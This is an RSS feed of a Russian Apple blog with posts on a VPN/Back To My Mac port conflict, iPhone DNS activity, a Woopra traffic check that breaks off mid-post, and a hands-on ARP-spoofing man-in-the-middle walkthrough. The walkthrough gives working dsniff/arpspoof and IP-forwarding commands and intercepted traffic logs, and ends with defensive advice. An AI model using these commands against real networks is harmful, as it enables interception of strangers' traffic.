The Apple Geek » wireshark http://theapplegeek.ru Чему ты научился сегодня? Fri, 30 Jul 2010 13:48:39 +0000 en hourly 1 http://wordpress.org/?v=3.0 Несовместимость L2TP VPN-сервера и Back To My Mac на одной системе http://theapplegeek.ru/archives/4139 http://theapplegeek.ru/archives/4139#comments Wed, 07 Jul 2010 11:42:37 +0000 ctrld http://theapplegeek.ru/?p=4139 Вчера я упомянул, что на VPN-сервере (Mac OS X) нельзя настроить одновременно L2TP VPN Server и Back To My Mac. Подтвержу это скриншотами.

Back To My Mac выключен:

Соединение устанавливается:

Но если Back To My Mac включен:

То соединение не устанавливается:

Это единственное изменение, которое я проводил.

В документации Apple сказано:

If you wish to enable NAT port forwarding to L2TP VPN servers at private addresses on your AirPort Extreme or Time Capsule network, first ensure that MobileMe is disabled in AirPort Utility. If you configure NAT port forwarding to L2TP VPN servers at private addresses with MobileMe enabled, the setting for port forwarding to the servers will be ignored.”

Если вам нужен и Back to My Mac, и VPN-сервер, то используйте PPTP VPN. Хоть он и менее безопасный, но он работает в такой конфигурации.

Немного деталей. Вот процесс установки соединения без Back To My Mac:

45.599012 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
45.601468 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
46.058368 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
46.069876 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
46.438942 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
46.439629 192.168.98.2 -> 109.162.11.133 ISAKMP Identity Protection (Main Mode)
47.738940 109.162.11.133 -> 192.168.98.2 ISAKMP Quick Mode
47.741256 192.168.98.2 -> 109.162.11.133 ISAKMP Quick Mode
47.938956 109.162.11.133 -> 192.168.98.2 ISAKMP Quick Mode
48.177831 109.162.11.133 -> 192.168.98.2 ESP ESP (SPI=0x0c380875)
48.200824 192.168.98.2 -> 109.162.11.133 ESP ESP (SPI=0x0d034052)
...
50.379150 192.168.98.2 -> 109.162.11.133 ESP ESP (SPI=0x0d034052)
50.417807 109.162.11.133 -> 192.168.98.2 ESP ESP (SPI=0x0c380875)
52.650222 192.168.98.2 -> 109.162.11.133 ISAKMP Informational
53.650658 192.168.98.2 -> 109.162.11.133 ISAKMP Informational

А вот – с ним:

 5.492165 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
 8.492130 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
11.475359 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)
14.532159 109.162.11.133 -> 192.168.98.2 ISAKMP Identity Protection (Main Mode)

При включении Back To My Mac производится маппинг портов 5353 и 4500 в запросах NAT-PMP Map UDP Request, поэтому L2TP-сервер не может обслуживать запросы, идущие на порт 4500 (IKE NAT Traversal), и в итоге соединение не устанавливается.

Напоследок приведу трейсы при включении и отключении Back To My Mac.

Включаю Back To My Mac

 28.815152 192.168.98.2 -> 109.162.11.133 UDPENCAP NAT-keepalive
 33.488924 192.168.98.2 -> 192.168.98.1 NAT-PMP External Address Request
	NAT Port Mapping Protocol, External Address Request
	    Version: 0
	    Opcode: External Address Request (0)

 33.489063 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.489094 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	NAT Port Mapping Protocol, Map UDP Request
	    Version: 0
	    Opcode: Map UDP Request (1)
	    Reserved: 0
	    Internal Port: 5353
	    Requested External Port: 5353
	    Requested Port Mapping Lifetime: 7200

 33.489109 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANPPPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.489134 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	NAT Port Mapping Protocol, Map UDP Request
	    Version: 0
	    Opcode: Map UDP Request (1)
	    Reserved: 0
	    Internal Port: 4500
	    Requested External Port: 4500
	    Requested Port Mapping Lifetime: 7200

 33.489148 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	 M-SEARCH * HTTP/1.1\r\n
	     [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	         [Message: M-SEARCH * HTTP/1.1\r\n]
	         [Severity level: Chat]
	         [Group: Sequence]
	     Request Method: M-SEARCH
	     Request URI: *
	     Request Version: HTTP/1.1
	 Host:239.255.255.250:1900\r\n
	 ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	 Man:"ssdp:discover"\r\n
	 MX:3\r\n
	 \r\n

 33.493555 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 33.493559 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 33.493723 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
 	Destination port: ssdp (1900)

 33.493962 192.168.98.1 -> 192.168.98.2 NAT-PMP External Address Response
    Version: 0
    Opcode: External Address Response (128)
    Result Code: Success (0)
    Seconds Since Start of Epoch: 13283
    External IP Address: 111.222.111.222 (111.222.111.222)

 33.502106 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	 Version: 0
	 Opcode: Map UDP Response (129)
	 Result Code: Success (0)
	 Seconds Since Start of Epoch: 13283
	 Internal Port: 5353
	 Mapped External Port: 32773
	 Port Mapping Lifetime: 7200

 33.510384 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	 Version: 0
	 Opcode: Map UDP Response (129)
	 Result Code: Success (0)
	 Seconds Since Start of Epoch: 13283
	 Internal Port: 4500
	 Mapped External Port: 32774
	 Port Mapping Lifetime: 7200

Отключаю Back To My Mac

  3.936568 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	  Version: 0
	  Opcode: Map UDP Request (1)
	  Reserved: 0
	  Internal Port: 4500
	  Requested External Port: 32774
	  Requested Port Mapping Lifetime: 0

  3.936664 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	  M-SEARCH * HTTP/1.1\r\n
	      [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	          [Message: M-SEARCH * HTTP/1.1\r\n]
	          [Severity level: Chat]
	          [Group: Sequence]
	      Request Method: M-SEARCH
	      Request URI: *
	      Request Version: HTTP/1.1
	  Host:239.255.255.250:1900\r\n
	  ST:urn:schemas-upnp-org:service:WANPPPConnection:1\r\n
	  Man:"ssdp:discover"\r\n
	  MX:3\r\n
	  \r\n

  3.938951 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
	Destination port: ssdp (1900)
  3.943055 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	  Version: 0
	  Opcode: Map UDP Response (129)
	  Result Code: Success (0)
	  Seconds Since Start of Epoch: 13310
	  Internal Port: 4500
	  Mapped External Port: 32774
	  Port Mapping Lifetime: 0

  6.038227 192.168.98.2 -> 192.168.98.1 NAT-PMP Map UDP Request
	  Version: 0
	  Opcode: Map UDP Request (1)
	  Reserved: 0
	  Internal Port: 5353
	  Requested External Port: 32773
	  Requested Port Mapping Lifetime: 0

  6.038303 192.168.98.2 -> 192.168.98.1 SSDP M-SEARCH * HTTP/1.1
	  M-SEARCH * HTTP/1.1\r\n
	      [Expert Info (Chat/Sequence): M-SEARCH * HTTP/1.1\r\n]
	          [Message: M-SEARCH * HTTP/1.1\r\n]
	          [Severity level: Chat]
	          [Group: Sequence]
	      Request Method: M-SEARCH
	      Request URI: *
	      Request Version: HTTP/1.1
	  Host:239.255.255.250:1900\r\n
	  ST:urn:schemas-upnp-org:service:WANIPConnection:1\r\n
	  Man:"ssdp:discover"\r\n
	  MX:3\r\n
	  \r\n

  6.040599 192.168.98.1 -> 192.168.98.2 ICMP Destination unreachable (Port unreachable)
  	Destination port: ssdp (1900)

  6.043605 192.168.98.1 -> 192.168.98.2 NAT-PMP Map UDP Response
	  Version: 0
	  Opcode: Map UDP Response (129)
	  Result Code: Success (0)
	  Seconds Since Start of Epoch: 13310
	  Internal Port: 5353
	  Mapped External Port: 32773
	  Port Mapping Lifetime: 0
]]> http://theapplegeek.ru/archives/4139/feed 5 Немного деталей о сетевой активности iPhone http://theapplegeek.ru/archives/3953 http://theapplegeek.ru/archives/3953#comments Thu, 10 Jun 2010 16:18:06 +0000 ctrld http://theapplegeek.ru/?p=3953

Учитывая достаточно активное потребление трафика на iPhone, я решил посмотреть, с какими сервисами он взаимодействует.

Задумано-сделано. Вариантов захватить трафик через GPRS у меня, конечно же, нет, поэтому я упростил себе задачу, отключив Cellular Data (iOS 4) и дав iPhone соединяться с Интернет только через WiFi. Внешний интерфейс WiFi-точки я подключил к компьютеру под Ubuntu через который дальше обеспечивается доступ в Интернет.

Для дальнейшего упрощения задачи я решил не анализировать детально трафик, а ограничиться просмотром хостов, к которым iPhone обращается. Тяжело найти человека, который в здравом уме в сетевых приложениях будет использовать обращение по IP-адресам, а не по именам (предполагаем, например, смену хостинговой компании или географическую балансировку нагрузки), поэтому для анализа достаточно посмотреть запросы/ответы DNS.

Я собрал данные используя tshark за полтора часа работы iPhone после его перезагрузки и нахождении его в заблокированном состоянии. Включены сервисы: Mobile Me (все – почта, календарь, адресная книга, Find My iPhone), Google Mail Exchange (только почта).

  2  15.647539 DNS Standard query A aosnotify.mac.com
  3  15.651564 DNS Standard query AAAA aosnotify.mac.com
  4  15.672783 DNS Standard query response A 17.250.248.82

Доступ к Apple Online Service (MobileMe) для календарей/контактов/etc

 23  17.275523 DNS Standard query TXT push.apple.com
 28  17.301644 DNS Standard query response TXT ("count=50")

Регистрация для получения push-нотификаций.

 26  17.289761 DNS Standard query TXT sandbox.push.apple.com
 29  17.315179 DNS Standard query response TXT ("count=10")

Скорее всего регистрация на sandbox для разработчиков (у меня на iPhone установлен девелоперский профиль)

 30  17.367851 DNS Standard query A 38-courier.push.apple.com
 31  17.375139 DNS Standard query AAAA 38-courier.push.apple.com
 33  17.394461 DNS Standard query response CNAME 38.courier-push-apple.com.akadns.net A 17.149.36.73 A 17.149.36.97 A 17.149.36.226 A 17.149.37.44 A 17.149.36.115 A 17.149.36.174 A 17.149.36.86 A 17.149.36.65
 32  17.387095 DNS Standard query A 9-courier.sandbox.push.apple.com
 34  17.398505 DNS Standard query AAAA 9-courier.sandbox.push.apple.com
 35  17.413188 DNS Standard query response CNAME 9.courier-sandbox-push-apple.com.akadns.net A 17.149.34.67 A 17.149.34.68 A 17.149.34.74 A 17.149.34.65 A 17.149.34.72 A 17.149.34.73 A 17.149.34.75 A 17.149.34.77

Подписка на потоки push-сообщений, детали нужно изучать отдельно. Взаимодействие строится по порту 5223/tcp

 64  18.046396 DNS Standard query A fmip.me.com
 67  18.057170 DNS Standard query AAAA fmip.me.com
 68  18.095476 DNS Standard query response CNAME fmip.me.com.edgekey.net CNAME e3381.b.akamaiedge.net A 92.123.177.205

Подписка на сервис Find My iPhone, взаимодействие по https.

179  29.440446 DNS Standard query A sync.me.com
180  29.447291 DNS Standard query AAAA sync.me.com
182  29.483431 DNS Standard query response CNAME sync.me.com.edgekey.net CNAME e3381.b.akamaiedge.net A 92.123.177.205

Доступ к данным в MobileMe для синхронизации по https

210  32.648537 DNS Standard query A mail.me.com
211  32.656911 DNS Standard query AAAA mail.me.com
212  32.674195 DNS Standard query response A 17.148.16.42 A 17.148.16.43 A 17.148.16.44 A 17.148.16.45 A 17.148.16.46

Соединение с IMAPs сервисом MobileMe – дальше получение почты будет в рамках этого соединения (на протяжении полутора часов идёт регулярный обмен данными).

231  34.002401 DNS Standard query A m.google.com
232  34.014934 DNS Standard query AAAA m.google.com
237  34.027938 DNS Standard query response CNAME mobile.l.google.com A 74.125.43.193
238  34.086932 DNS Standard query response CNAME mobile.l.google.com

Соединение с https сервиса Google Mail (Google Exchange) – дальше получение почты будет в рамках этого соединения.

571 2757.413042 DNS Standard query A 0.pool.ntp.org
572 2757.438746 DNS Standard query response A 72.14.183.39 A 66.79.167.34 A 209.68.147.66

Раз в час – синхронизация времени.

В общем ничего непредсказуемого, на “левые” хосты iPhone не соединяется, всё в рамках заявленного.

]]> http://theapplegeek.ru/archives/3953/feed 2 Перехват трафика устройств, подключённых через публичную точку доступа WiFi (атака MITM) http://theapplegeek.ru/archives/1926 http://theapplegeek.ru/archives/1926#comments Thu, 19 Nov 2009 14:25:21 +0000 ctrld http://theapplegeek.ru/?p=1926

Вчера @akaDimiG сбросил мне небольшую заметку “Безопасность Wi-Fi в iPhone под сомнением“, которая с первого взгляда у меня вызвала большое сомнение.

4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi.
Ничего нового это исследование не открыло – эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF на сайте компании. Уязвимость SSL была продемонстрирована на конференции Black Hat в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) “New Tricks For Defeating SSL In Practice“.

Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент должен установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая “жертве” данные по http. Но если “жертва” пойдёт прямо на “https://gmail.com”, то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну “жертву”. Исследование – это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости – в каждой сквозит беспочвенная паника.

Поэтому вместо гипотетического “SSL Bypass” давайте рассмотрим, как провести атаку Man In The Middle.

Man in the middle

Я проходился по нерадивым администраторам, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию “AP Isolation”, тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.

Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался…

Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).

MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.

Обновляем порты:

$ sudo port selfupdate
$ port search dsniff
dsniff @2.3 (net)
    network auditing and penetration testing tools

dsniff-devel @2.4b1 (net)
    network auditing and penetration testing tools

К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.

$ sudo port install dsniff-devel

Теперь нужно определить адрес “жертвы”. Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета Wireshark.

В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован “исследователь”. Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):

$ sudo tshark -i en1 not host 192.168.99.10
86.799891      0.0.0.0 -> 255.255.255.255 DHCP DHCP Request  - Transaction ID 0x702c1385
86.799930 Apple_43:7e:5b -> Broadcast    ARP Gratuitous ARP for 192.168.99.12 (Request)
87.208880 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.329216 192.168.99.12 -> 224.0.0.2    IGMP V2 Leave Group 224.0.0.251
87.336388 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
87.535037 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.633880 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.635113 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QU" question
87.790738 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.885778 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
87.935788 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.135397 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
88.336400 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.385319 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
89.461989 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
91.407420 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
94.457022 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
95.401260 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local

Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:

$ sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

$ sudo sysctl -w net.inet.ip.forwarding=1

Запускаем инъекцию ложных arp, чтобы “жертве” в ответ на запрос mac маршрутизатора выдался mac “исследователя”:

$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
  • -i en1 – AirPort
  • -t 192.168.99.12 – адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса
  • 192.168.99.1 – адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса

00:26:08:e2:a6:0c – это mac ноутбука исследователя:

$ ifconfig en1
en1: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500
	inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255
	ether 00:26:08:e2:a6:0c

Вот, собственно, и всё, теперь трафик “жертвы” проходит через ноутбук исследователя:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host)
  9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1
  9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1
  9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1
  9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1
  9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1
  9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1

К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:

$ sudo tshark -i en1 host 192.168.99.12
Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  2.000779 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.001618 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  4.837984 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  4.838017 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  4.838547 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.838561 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  4.941498 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.941578 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 8#1] 49485 > imaps [ACK] Seq=39 Ack=257 Win=32904 Len=0 TSV=840277595 TSER=2004098461
  4.945409 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  4.945452 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.044213 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.044263 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 12#1] 49485 > imaps [ACK] Seq=69 Ack=293 Win=32959 Len=0 TSV=840277596 TSER=2004098546
  5.098574 192.168.99.12 -> 74.125.43.109 TLSv1 Application Data
  5.098645 192.168.99.12 -> 74.125.43.109 TLSv1 [TCP Out-Of-Order] Application Data
  5.103338 192.168.99.12 -> 17.148.16.43 TCP 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.103411 192.168.99.12 -> 17.148.16.43 TCP [TCP Dup ACK 16#1] 49585 > imaps [ACK] Seq=39 Ack=332 Win=32859 Len=0 TSV=840277597 TSER=2076082298
  5.109752 192.168.99.12 -> 17.148.16.43 TLSv1 Application Data
  5.109792 192.168.99.12 -> 17.148.16.43 TLSv1 [TCP Out-Of-Order] Application Data
  5.114479 192.168.99.12 -> 195.47.212.25 SSL Client Hello

Как вы видите, MITM реализуется очень просто. Поэтому не рекомендую работать с важными данными и входить на критические сайты через публичные точки WiFi. Лучше использовать мобильный Интернет, здесь перехватить трафик любому желающему, сидящему за соседним столиком, нереально. Или же использовать VPN. А проще всего всегда контролировать, что используется именно SSL и данные не идут через незашифрованные http, pop3 и imap.

]]> http://theapplegeek.ru/archives/1926/feed 9 Система web-статистики Woopra и исследование её сетевой активности при помощи Wireshark http://theapplegeek.ru/archives/463 http://theapplegeek.ru/archives/463#comments Sat, 19 Sep 2009 17:34:38 +0000 ctrld http://ctrld.me/?p=463 Я перепробовал несколько систем статистики посещений для сайтов. Когда-то давно пользовался анализаторами логов web-сервера Analog, Webalizer, AwStats. Но их возможности анализа были ограничены, например отслеживать возвращающихся посетителей с динамических IP-адресов было невозможно, отсев краулеров поисковых систем и прочих ботов можно было производить только вручную, да и визуальное оформление отчётов мне не нравилось. Поэтому Webalizer у меня работает до сих пор, но на его статистику я не смотрел уже больше года.

Дальше я использовал всяческие кнопки рейтингов со сбором статистики, но их наличие вступало в притиворечие с моим чувством прекрасного, и я быстро от них избавился. И наконец-то (на самом деле все методы я пробовал параллельно) я остановился на службах Google Analytics, Яндекс.Метрика и Woopra. Последняя система меня покорила всерьёз и надолго – в отличие от других систем она не только показывает активность посетителей в режиме реального времени (а у того же Google Analytics задержка на сутки), но и имеет красивый desktop-клиент, написанный на Java, что даёт возможность его запускать под Windows, MacOS и Linux.

Описывать Woopra я не буду – посмотреть её функциональность можно на сайте. Покажу свой скриншот закладки Dashboard:

Системой я пользуюсь давно и с удовольствием, но вчера @andy_shev обратил моё внимание на то, что при открытии этого блога в Opera раз в несколько секунд идёт странная сетевая активность, будто бы делается обновление страницы. Конечно же, как только зашла речь об исследовании сетевой активности, я привычно применил Wireshark, установку которого описал в статье “Готовимся анализировать сетевой трафик при помощи Wireshark“.

Открываю сайт http://theapplegeek.ru. Запускаю Terminal.app, затем консольную утилиту tshark:

